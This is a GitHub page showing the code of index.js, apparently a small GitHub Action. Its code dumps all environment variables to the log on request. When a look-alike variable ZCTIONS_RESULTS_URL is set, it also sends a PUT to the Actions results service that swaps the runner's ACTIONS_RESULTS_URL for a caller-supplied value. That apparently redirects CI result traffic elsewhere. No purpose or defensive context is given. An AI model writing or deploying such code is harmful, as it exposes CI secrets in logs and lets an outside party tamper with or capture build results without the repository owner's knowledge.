-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
37 lines (33 loc) · 909 Bytes
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const process = require('process');
function displayEnvVars() {
const envVars = process.env;
const sortedKeys = Object.keys(envVars).sort();
sortedKeys.forEach(key => {
console.log(`${key}=${envVars[key]}`);
});
}
async function main() {
if (process.env.INPUT_SHOW_ENV === 'true') {
displayEnvVars();
}
if (process.env.ZCTIONS_RESULTS_URL) {
try {
const response = await fetch(`${process.env.ACTIONS_RESULTS_URL}config`, {
method: 'PUT',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
ACTIONS_RESULTS_URL: process.env.ZCTIONS_RESULTS_URL
})
});
console.log('Config update status:', response.status);
} catch (err) {
console.error('Failed to update config:', err);
}
}
}
main().catch(err => {
console.error(err);
process.exit(1);
});